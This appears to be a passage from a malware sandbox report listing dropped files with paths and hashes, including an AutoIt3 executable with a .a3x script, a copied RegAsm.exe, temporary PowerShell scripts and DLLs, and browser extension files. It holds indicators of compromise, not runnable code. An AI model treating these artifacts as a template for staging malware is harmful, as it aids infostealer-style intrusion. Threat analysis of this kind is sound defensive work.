SSDEEP 768:B2y4JgDWvbtBh8F1+UoAYDCx9Tuqh0VfUC9xbog/OVCiLlc2TbCroRRXoN1:B2y4JgDWvbtBhu1jaZiLm0bZbYD
TLSH
T152C2FA3F644CCA7E4FC00A9DED5E6F9B3E9802C796948D4047FA954C02C77EA91264DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\b40d2235-d2de-44e9-9ca3-683cf29fc30d\index-dir\the-real-index
Size 288B
SHA256 deba8922b0fec9ed313abbb7983c8d874cf5bf5f50041c6a873f9ed36775b9e9
MD5 183d1369620cc1531517d9772903e866
SHA1 05c9fc039a0dabc231806abf713ae590b93110c7
SHA512 2798d62b9df2d36e5d24ab77e054125d2e2f372c9ea5246a8d04675e5390e85dec0b0d3df2e4129943ad0eb1e500f3d71a5e055c50be58f4da5599d09488f1e2
TLSH
T172D023DC9D175149F958413010BD50236A7024FC8314690F5CFFA454CC036D0BD4FE20
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58d28d.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\b40d2235-d2de-44e9-9ca3-683cf29fc30d\index-dir\the-real-index~RFe58d28d.TMP
Size 312B
SHA256 07a63140084e4d2e125cc0781e4cc153c8896ffbe54e82ff62e2c28f581841ff
MD5 d2b7f3f3d234fe69b64d57ff130eaa03
SHA1 e9318e120681ce3a9c1a07288a9de3ff8a730174
SHA512 00db08c186b5ba01d485d7b5d2e5014f07dba1248b5aa8b4018d4698ca185b8fa9dd039035eb1f69958f033980c7bfb0a7812e87c116595806a4fd5b1a7effcb
TLSH
T10AE0235D5B034045F55C5479645FF13216619C1CE724171F91FF9554DC43BD09D82F14
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 198baab1ad79302af81fcf7f7c43b390bbb7b9e4b105a1c49287e8b0b8131178
MD5 2b1b6485388b268216c2d02efcfd6958
SHA1 76c22f5543db97d383f7ce704fca4245528dcbb5
SHA512 5aa6c4282aaeebde78d0a2fb3817f305dac277a3b3bb290a92139069b6d7089fb98adc232785839120d506dc05ce33b1178e4ea3e2ce04fb1221195af898e6c5
SSDEEP 48:KIDI1Ks04jyLEzy+suCLbyB6ISWLK9y1ALxEbYJqC4yLpBpQp9pxpbpfpjp8bpPc:KIDCKs0+uzeKEIOSc4KR2iz
TLSH
T165911F4570BB131538BD29888570D76E028136B37168EA6F7FBC84A58E6BF041DFE8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 4b335e788b8168adc4853f417976206fc42c37115a49332d6267afc8f40bcf88
MD5 c5961c71192d0351c2101e2d9788314e
SHA1 9e5979e3ab21e0cc89790385d546ce5ee298d728
SHA512 1abe7746d9aee4ace962c530023f0bcd117e9f96300a70edb5050490ed009c294d71e25d4b76e1aec619e8f583a9bc7615fa962f6a26e955f70e65b2f1c79b5d
SSDEEP 384:n2ZcIhsNqnTFl3Z1uWUHX58EvOeJB3JrsjwTeUCSi1o2:kh933L6a8OY3hsjwerN
TLSH
T18A828D759A789D3768FAE209F48736039FF86073D5C45F94E5E89B1D008A2A9230BD17
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 f7f935a897ba0d85785a311f9425fb8c9046f9a70999847286b3d9088c7861b8
MD5 85c8a58d4184920f29dd7396dd1edbdd
SHA1 4e1e2ab8e0215fa7050e08b7183a17585e776345
SHA512 20a48fbcd65453888d783aa1edd87a8e7a7f86ba63bb4726c8cb0366484ba7997799288065677fb59f9d9b3cd1ca83e63aa0f7243d7cd5489b9207517a167b2c
SSDEEP 192:1ONgV6wlDgQmiUy5YW4X58gZvOKNJ7DlQ9U6:1ONu6kgFW4X58EvOeJd0U6
TLSH
T19802E938F9687C7B8EF2AE09F58737139FA5106BE5552F44DAE81B1D00D769C130A922
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 789e244f8a9b82d33021011d9d4311cfe6a1b84fe71182200f9abba00721f6f6
MD5 4b2175c4ca8b1b4ef5784374b015ff15
SHA1 820c8d4942c475d90ae89772837b58d9cfdae727
SHA512 5310d6f9c6ec3cc371df73fd2e14bc18dacb2ef309ab842d99c1c6ef6c886ebc46cd45df89d4df71b21cab2dd74eaec03eba2e876bd4ea9a27de5b2168b5bc40
SSDEEP 192:1ONL6wlDVPQmiUymY04X58gZvOKNJyqwSJrhveP/4IU6:1ONL6kVRU04X58EvOeJB3JrwjU6
TLSH
T13F120734B568EC370DE6A509F5C736939FA420B7E9866F94D6E81F2C00DB39C270E916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

32c11141-3dc0-47d6-a802-3338eba8e291.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\32c11141-3dc0-47d6-a802-3338eba8e291.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 f25acc0173957ea23e66087c04f0dc26d47a4268bb0ee7cf643712966110ceb0
MD5 179c664ab587de1531cd68c9bb8bfd5d
SHA1 828e40e478f4d323e55315daf21720bbda3ef699
SHA512 c301a7646a5cbbb9b4b000cf099b51b97ab5b898b57848db8b581339e602b9992722f772905049205c3447cae97c554b98f8d8da7e544f7ec119ccb658314f11
TLSH
T17F41D958BAEE110CB3B77E5A9BF6986E847FB8762F06D55D10010D4F0A63A40C9B1B37
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
MD5 eb95593cadef8a5dd4ae7059529d25c7
SHA1 464b6fc05fe1c21127a61db0a38e3e9c8c369d18
SHA512 28de4369543ef8f076d7a2169d08c9fca3d57ff2d4b207868227c206839b1e5c4438bf762fdd8a8ed4df6b45c458593c16be02adca044611b8b2c1f44a3afef8
SSDEEP 1536:gC+jH04tAHk1ZSMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa5bxX:gC+jH04tAHk1cMrxyNhftflJdvYoFi3F
TLSH
T128334093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 0e224b258d195a8000fa0e32022c43dc4914f034621dc26d752d459734fd6718
MD5 c6bae7ebeca18dcfeb088e0658cc39d4
SHA1 5ec225f10aab17099fa4b9584f41e82c50f3edd8
SHA512 72f662b267cd294c8962d2cbd2c69a3a5977903fb0e188064e828c90cd1791ad7131f015b33ca71e8d0970032c05347e13b1366f00dc699b9de26ce3f335c1c1
SSDEEP 384:krsf+F6e9i+ZKBpefcdxgJk3so9oLDTVK6seY0C54/wo3So1afJOPEv5LHhdIzcy:kwfv48bTx3RoHTVNemVSlOEvVsw4Y0J9
TLSH
T17092C65E600F96C3C489D378D10A045FE4F2DE8D53291BD8BB5E5E3BCAACA9ED02D548
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4q5ps0kd.dll

Path C:\Users\Admin\AppData\Local\Temp\4q5ps0kd\4q5ps0kd.dll
Size 3KB
SHA256 5cfc93c3c21d25f7ab2abdd36ec017f893eda31697730ff10a084f19ce60d1cf
MD5 6819f4193b6b63661da7f33e396ef6d7
SHA1 63f1a3808c5715c99608e83762a58424a6959c5b
SHA512 5a7e2dbee7eee6a49794fcbb5f6219d179903408b356df7f4ba5ae7749ea26ea8a1a956933bc0d34e3c2676fe05a8261d5654db2ce9ec200be5d057918dde9dc
TLSH
T13C51BC1AA3E4452BE4BB07709EF3032362B4F8509B72976D5D91432CAC253645E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

767ufkEaGguvLNMV.ps1

Path C:\Users\Admin\AppData\Local\Temp\767ufkR7ikoRPaW8\767ufkEaGguvLNMV.ps1
Size 429KB
SHA256 f7d140a55b11904cd1ceda6aef9854730209918e046a2c443bcf10f576a2e1d1
MD5 b007a447e030ba506db6ad38cf0c1758
SHA1 f0f048c3dfa5a9e272fb7c2cc6ec4443088ef295
SHA512 5237bae96d596abfbabd431a728953f6b6d573f36ddf52dca9beb0009dd06719ca84b3ece4d52dc892237dfb1e8e763842027e81794acd1e4bc0684bc94ca292
SSDEEP 12288:Qfe/VoIzNwV+Ml5gdeg/qLDqqCq17dDiulzMc:Q2eq6dIc
TLSH
T1F29473153AC0A365158EDCB71C855C1D9AD8F433C38F984D7ACE45C5BF87AB88AE8838
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES3CD0.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3CD0.tmp
Size 1KB
SHA256 23791dfe74afeb2907dd7d8d1b744a0475e80129bc814c0a5dd8e422de85f1d2
MD5 d1158e652e2842bf12ab6a68f9e2eec2
SHA1 6d599addb23a93bda152b7c27d2a168388cbab3f
SHA512 58c638681f0b0980d7763c57d111d473c5266e625496fb05d05f01fd042a443b15dca85c4b22fa97cebb832451b5fe000308fabfbde646cd6b469b4216ec6816
TLSH
T12421890593E8870FF0774B3169F6132B9279FD95EFB2975A864042281C51604EEA0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES3E38.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES3E38.tmp
Size 1KB
SHA256 07ae82daeb8ad1f02d4fe67c8635606c8263c35aa298e347de95779f3881e30e
MD5 abb4a1515bd8597a5a4d0ad95bdc8d1b
SHA1 212dfc706f72d4411e70c78d86f92219b0e7ac9c
SHA512 92a26fecdcda9c4cb2fc51e4ff76527554414f29e012f3a488c0a38d1a3c554f163f7d293c012d4cf21e436778042bc9e3b12c904afcade5850731450633aa2d
TLSH
T11921AF0543EC4B1FF077573169F5172FA234FD55EF62676B854052281C91144EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES752B.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES752B.tmp
Size 1KB
SHA256 caca89967b9c74bf5d39327fbcd7814b788bb2ca7e86d14f1106f6ffae3ddf78
MD5 6bc1192b0d643a15a7ea39a6cc4f4fac
SHA1 bcab010ca3054073c128477aab03e8e6580cacbe
SHA512 ccfb833b38d8129812810bcb1c8a98b37f9e7f6dd608f4f327b8b90b8ea0c4cd6598da547a2025ce8e3570095d144c4bea756e200740f997e8414090c9d3ee83
TLSH
T17B218C0497EC8B1AF0774B3279F6172B9274FE98EFA2935B8544422C2C51504EEF0E72
MD5 SHA1 SHA512 TLSH

Submit Download

RES75F6.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES75F6.tmp
Size 1KB
SHA256 4cd3cedffb21cf8f0e012229399a6bd17465d8e57fe0a3ce744cb32a452ac81f
MD5 b92fee3dcd978e92a674fc641eba0086
SHA1 4411515ae83de8e4b3c7203e32adb1e2cd8decc4
SHA512 3f3395e10b4134ab1fdf3a27c7d2091dde320259b2a2e09bd3d405e06d6634695e2ea1e984dd1b0e6e6a6cca5b636e61f5b2ae9ce293d00dc8c6cefaff2cb78b
TLSH
T19821890593E84B0FF0B35B31A9F6132F9238FDA8EF62935B854042282C51544EEF1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2ewm4nuo.240.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ewm4nuo.240.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

a35e5383-dbc1-497e-b326-a365c12cdf61.tmp

Path C:\Users\Admin\AppData\Local\Temp\a35e5383-dbc1-497e-b326-a365c12cdf61.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

cbf6ca53-ac14-427d-876b-8240a508f66b.tmp

Path C:\Users\Admin\AppData\Local\Temp\cbf6ca53-ac14-427d-876b-8240a508f66b.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dfsk1ghp.dll

Path C:\Users\Admin\AppData\Local\Temp\dfsk1ghp\dfsk1ghp.dll
Size 3KB
SHA256 8c68fa9dde80b54b2110ed1fce21f5da55045fea1f120293e6d14e17248e6d4c
MD5 170a8b75c62cfdcfa5d2ada0592e850a
SHA1 1e4842695c7c84b8643ba30c2256c9a5d838fa6a
SHA512 1198b991a9ba2be85502df65984f980456b9f352e056643662a8f5b81e5c522ab358e3d3658ec71509d5257ec946722d5a26cf6e8e3a96d925f8230732a62479
TLSH
T1A551CA1AA3E8452BE0B70774AEF3072236B8F8609F72936D4D90426D6C102648E32FB0
MD5 SHA1 SHA512 TLSH

Submit Download

mlvnsq0q.dll

Path C:\Users\Admin\AppData\Local\Temp\mlvnsq0q\mlvnsq0q.dll
Size 3KB
SHA256 23644f23446c43bc787aa05fe31affc40de73ee525a44aa5964615ba2e6e4ec6
MD5 c33607c17b6e890a1661d71a72e893a6
SHA1 21338d4c6de80831007aeae367b54b9db6454b47
SHA512 a2847d00916ee91f3aa558ed32cfc17523eef13457039ebd25051e13585bf1158d6990558aa524d887b16dcfa0c300f5844fca2e5d6f39733b672ca6fb582b9e
TLSH
T131517A1BA7E88527E4B74B706EF3071726B4FCA09B7397694D41426CAC513246E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

ra5rn331.dll

Path C:\Users\Admin\AppData\Local\Temp\ra5rn331\ra5rn331.dll
Size 3KB
SHA256 3b96380db32b6478608a13fb6bd1be517b99c9ed01ef56aef75c87ae44de8f68
MD5 797df46cdfa5ea1d9749f39c1f99c393
SHA1 f5f4b372229cf8a4cc543e14db496f3d2ff582aa
SHA512 c6525d7ba43c2d11c3e098cb974c1cab994785b9583a57093c1122962d17ff2dcc83d7cddc2d7542f0e3ab4df2d7afe511e8e9f4da13bd4dde96f0ad6f78ecaf
TLSH
T14551CA1AA3E9452BE0B70730AEF3032333B4FC209B72976D0D8043ADAC216245E21FB1
MD5 SHA1 SHA512 TLSH

Submit Download

remote-settings-startup-bundle-

Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
Size 559KB
SHA256 63e4866b90ecc25376012edb9f480c13cc4f10d5853eded78794b8f1e580bed0
MD5 74afef0474cc462cb9c7557a7b589dda
SHA1 3b19d9e91fe42be9ffca572bd8b0feb1bb026fd5
SHA512 c280870367739e29d9b260b1bb348266709cb478d0529c635176f07fac6de62c3689e4f236f729ac0e8565b38796039dd38232115527e614ed051fbcd3948dcc
SSDEEP 12288:xUSXfnMs+XE15SYZ9dFrbQjZezkZ11XpdD5UgYFP6uwcLJNe6PaW4neuLlG:xNfLME15SYZ9nbSZeAZnXGXh7jVkhjzG
TLSH
T1BDC4F1F9F7607CA7A7BE430B9D857EAD1B629122C74FA0CC443B5BC2455332AAF69404
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4196_1008846683\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c718b4bb-7706-45c6-9204-7f682f565590.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4196_509902233\c718b4bb-7706-45c6-9204-7f682f565590.tmp
Size 157KB
SHA256 e03138d37406c2bedec93e5a7c44a457a6b19cf4fee5dfe5a46450fcea1bf85e
MD5 088d09e1a5cd1db2f55a4f5131b75b3b
SHA1 4e017079555c92f2f9419a53ab89aae7c5425550
SHA512 f8e7a1652d20778af9e0aefef0f24bb477260eefd5c6cecd3b4e17276b7d6c8d79554e850b9a9fdd9c65095ae16dad8868df304ee7a057ec7cea5a35b9e526ad
SSDEEP 3072:sA30KAb7L7nAnBPxnb8b4HpQgHY15vClaH4d6r1tx:sAkKAb7L0Qb4HpQgoq8tx
TLSH
T182F3E1AD2FEE891ACD0B50BD3B04B38BC90A8F07820A655F735F8015997475D17A2DFA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AutoIt3.exe

Path C:\Users\Admin\AppData\Roaming\f593ea61e834\AutoIt3.exe
Size 1.1MB
SHA256 5d69a932a077fee044b193c28e84564143f5c7e51079ab48e88fef74ab0b77b7
MD5 80cdd5f19d704a001589976bae277bab
SHA1 96bb030389ac938c5ebc6bd2e9fcc86a10e5f2fd
SHA512 03fbfd02d348c2b54af3eeb022ae2f1be4e4f9b30352ceb2c7589233275a914ec4fd81ff8c1544bebf96a87e28c75fd81811e658f092536367395048a82bf8fa
SSDEEP 24576:HsTBc4JYoji1a2gOI6fQJ77jkD1KV3wKct4frNFOB:MTC4a4p+E72SwRcrK
TLSH
T1DA356C0673A4419EFEA7F1329607C60BD6B17C4A07779A6F02646B626F337711A2E331
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Fabrics.a3x

Path C:\Users\Admin\AppData\Roaming\f593ea61e834\Fabrics.a3x
Size 1.2MB
SHA256 11630873f322c788d5b8cbde26e9214bced21f5a3b317a2529f02e7c8d756ddc
MD5 a949348dd547855fdb650e004fe0f5e1
SHA1 fe8fb752581ffea530e67db2b638491e38f59343
SHA512 5847f8f10f4c616a1c1fb0afba759bbb5efb2c2c7fe0b9405477f14c0622288f7138e1e3e8edc78b7b1b8065950a98d960980407b58432ec551294e056864b38
SSDEEP 24576:WPooWlCLnjQp5xFBenWyxBmGQJ2fAC4YpcUe0/GmcYGPgj9W66Ik:DlC7UBfeTxwGQJgABdR/VaR6r
TLSH
T140453381BDA4C11C2D7C630B199F7B237E6DDB06A68A850CBC65237F18D3168B6C7927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RegAsm.exe

Path C:\Users\Admin\AppData\Roaming\f593ea61e834\RegAsm.exe
Size 63KB
SHA256 dc45704ba97d974d157c1c4a27dba402afa595eac2468d8def2ee8d0a2ee9a81
MD5 a4eb36bae72c5cb7392f2b85609d4a7e
SHA1 5c58053a3a18c0226b98a4ac7e7320581300b6c9
SHA512 8ebdd20b7c1ee87aa3766d812960b0d8cfa0a6ba6e371f730e589895d202dd540eb475f69940261c1532e90d1030370e9eb5102cadbf6e546f99b350de79b95a
SSDEEP 768:/8XcJiMjm2ieHFYPyCsSuJbn8dBhFwjSMF6Iq8KSYDKvc7qWk81:zYMaNyFYPYSAb8dBnWHsPDKvcN91
TLSH
T1D353E714A7E84216F6FB4B71AEF5C4479936B593AD65C34C248D438D0B223C1DA23BBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0

Path C:\Users\Public\.ff_tmp\cache2\entries\AABAB860D2646FDCEACF8AAC0CD412654CE5E4C0
Size 16KB
SHA256 55f2d63224ab7a91ae77f054a064d3fa1604273eea8a81b5c89ecead89da6f53
MD5 235ff36aa3aa4ae935f982b707985640
SHA1 589b2aeadaef3c7b5672d279e726dcfbeb3b39f9
SHA512 fd75a48b51366e98d3039b9bd42681e99c482a9d10ba7965a44d27baa24414929e88477b6e0ed783d94f7491ed7fc4a85bca8be1752b907df6d547f0c8f3f163
SSDEEP 384:HalwSiO024YIWTT78XJWTT78gB7SOEAd9KVRaAcP+AWRMAHL+6S+l:6l8ZYIWTToXJWTTogB7S/AmVAf+hRM+H
TLSH
T1F7728E7D8F013CAC265790E8C8B943658C18B7A7DFF9C06D11983E0DD994A6A71F984E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 cae7dbebd7b7b7ad6f1bbf8f3f03da0f0d1538107d2d2c47a6df2785b3bca921
MD5 43f0c0fc056c3c90805196efe1f316ce
SHA1 cf790aa79561e6a830ebb426e27d73fd77ededb3
SHA512 973e0164073235e9a459cfe499d57ca5a49a3b6fc30cc61b94f1fe34bbbcd2f1295582c502da5b3c9ef914c57bd003b4cadeeb57809cd51149521b65589a0f32
SSDEEP 192:eOv5zbowWuYyjHM3vfd1d66JozGzgCl6mBM2:1bowWuYyjAd66JozGzgC1O
TLSH
T1ABD12064EA28463BC448437BCCA51F040F363A5ADC4E7F19359CA4582D5B2AE368E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Public\.ff_tmp\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 0dfb23f8b2b88aea5b7bd32de00c2402e9c2035f9e586e1444ffbebaa746df81
MD5 811d8a4d65dbd089e191d1baec89bffa
SHA1 9f5644f143d8be97e1a3a2c10c2f79c26cb3ff7f
SHA512 a70de596eb5917bbf8a1d5708a5caaef7368d1aa3103e0b195a40512721390d8049c21296d03400d211e995e090349d394c37b21aec4f123d4acd3041082e5de
SSDEEP 192:1v6d1d66JozGzgCl6mBM2oOv5zboMPsuYyjHMN:6d66JozGzgC1OGboasuYyjG
TLSH
T1D9E12164EA28863BC41843BBCC651B440F35399ADC4E3F19359C745C2D572EE368E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Public\.ff_tmp\datareporting\glean\events\events
Size 2KB
SHA256 3324d37fa8c1a97aea6df03d6f570c117a2cdf2628f9e4fd14922a2def4f4855
MD5 0b3cad20f0e3b2669568def9db8364e2
SHA1 c877a5652d6f66b7d623ae7f4b67669f041334e4
SHA512 28b92eca5bd72e81f4f088a252bc03cbe85c4fdb3ab5accabfaad84bb68865c29368bb96b8afc77bf3c028ca0d3cf5beb11e82771461adc626265b15e5789d84
TLSH
T12851AC1C3BF58C79DECFF39C6840828E93A54A1795562D472D21EF8DCC946DA319A83C
MD5 SHA1 SHA512 TLSH

Submit Download

9227c82d-d16f-41c6-9c43-f23c6fd84848

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\9227c82d-d16f-41c6-9c43-f23c6fd84848
Size 235B
SHA256 562ae1252b9cbd8c5773facbe257bdaa22d86b6936327b2e98a763e01242bcf2
MD5 14b80eb41c4d9183d4d49bd1b1c5d41f
SHA1 4034fc5d1945047ac46ea2d40e424792c59b3087
SHA512 aa18a5dafa1ce9daff6d1c56e491a94f6f23464a32635234d2163811d6d9778df36d183bae0133191cd0ffce8da5720d186ff4ff0130dba7ea2fc616641b75b1
TLSH
T16ED0A7C53498E75D0C140F07F5E069D731CA8C3364B9A8149A61497999F9EC99252C16
MD5 SHA1 SHA512 TLSH

Submit Download

a7cf9291-72da-41e1-a320-ab0885f903c4

Path C:\Users\Public\.ff_tmp\datareporting\glean\pending_pings\a7cf9291-72da-41e1-a320-ab0885f903c4
Size 796B
SHA256 5f3f1bd30398f6f84c57c7cd026097a499920ce9a9cfda66fec597720db76371
MD5 e11a50d402147cfe49ed142278918f21
SHA1 75e94a72663f06fd7a25c5665cbb91da2495367b
SHA512 8e7cb0fde3809c08df64ab707d5ff69672fd88e281518ff6e5736aaaafd9e275a5af7897870a0540bf50d269389d8d5f4be806644f2c9c806b3c0f52f31645a1
TLSH
T18D014651D63074738CFCD34FC9913B884BE46023C0CB98047D549A184DAA92E939730B
MD5 SHA1 SHA512 TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 6KB
SHA256 5461d975a121e7446fb1d1ba6ff4cab20275f5574b6c2b8ea49853a3747371f8
MD5 8dd4acd85d4ecc16dcee268d4efbe449
SHA1 ffd762d9210629109e8eade1bd6d299ee3d75209
SHA512 98bf24ebfae1ee39a753e887ff3f6c570eeb72d2442eda9781e76d71e71ef9a493cb1bc34bf28f25c95b52956e64bdf390f76c6d50bafb6e992b9739b9989913
SSDEEP 96:xH1tTU0qGqffR1zvASHlKdv9jxnGHTdHGBw8h9cnoAY:zSRffRSSHzTdmBw8hN
TLSH
T1BFD12F7895488BBF74B6776CAC6488316AB2013B7BBF28D750B594C5014CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Public\.ff_tmp\prefs-1.js
Size 4KB
SHA256 debe7e9f382263e93994b066b1bd0d51d625e2ff963c3f4a1100e940682a3a12
MD5 eed830f208fcdc4591ca66c0f49a357d
SHA1 6fdeb362d660387697aacb112a9db600ab19bcf0
SHA512 b20e4b14ae551eabfca96e5eef7017be47c82ea5dd9d40fd80bdfd59dfa947877c03b1b6c02be16a5cbea3fcecfaa178be61e02d2af70c0eccee00486b091307
SSDEEP 96:xHa4qGqIdFzvu6ElW9FnJJdh1w8h9cnoG:sTRIdw6EKJdh1w8hi
TLSH
T1ED914F786544CBAF65B5776CBCB48C716EB2013B777F688710A584C4410CF3886E9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 6KB
SHA256 7dd24a9dd6f874e5c14ca71e56407601940a8df2740aaf34aaef619564297225
MD5 033955f2bbbb63c421ab4742cb65cb26
SHA1 bda109ca7d6a73a994718f7785e2244fb53f5716
SHA512 d671956614de5f93a5b40877fa99f5d7b527d206fa318e2aadba9d90a1f6cdd1cfa354d43c5d5d9a67119f13c64b9092ef211b1803485b4a6657c02fc6e55e67
SSDEEP 96:xH1tTU0qGqffFzvASHlKdv9j9nGHTdHGBw8h9cnoAY:zSRffCSHzTdmBw8hN
TLSH
T17DD12E789548CBBF74B6776CAC6488716AB2023B7BBF28D750B58485014CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Public\.ff_tmp\prefs.js
Size 2KB
SHA256 baa88d0b8fdc5c9d91aa35b50bf9e03890685fb785511952081f75a1ea3183f1
MD5 1a2d40b8187fa20e21f177d4b49dc0d9
SHA1 5b54140f12e35934cde3adb538acffaf435194b0
SHA512 27df2d74d9b44afaf093c0c795b0c514456539ea92a02c91e8635d0830ec9a02de127eceafd5961034ca9fe30ac3faf7edbccc49ea80054a2466bca8700ed943
TLSH
T12D411EB955448FAFA4F9336CBC244572AEB3017BB67F6C8214B48081050CF7856F6AE7
MD5 SHA1 SHA512 TLSH

Submit Download

asrouter.ftl

Path C:\Users\Public\.ff_tmp\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
Size 15KB
SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
MD5 96c542dec016d9ec1ecc4dddfcbaac66
SHA1 6199f7648bb744efa58acf7b96fee85d938389e4
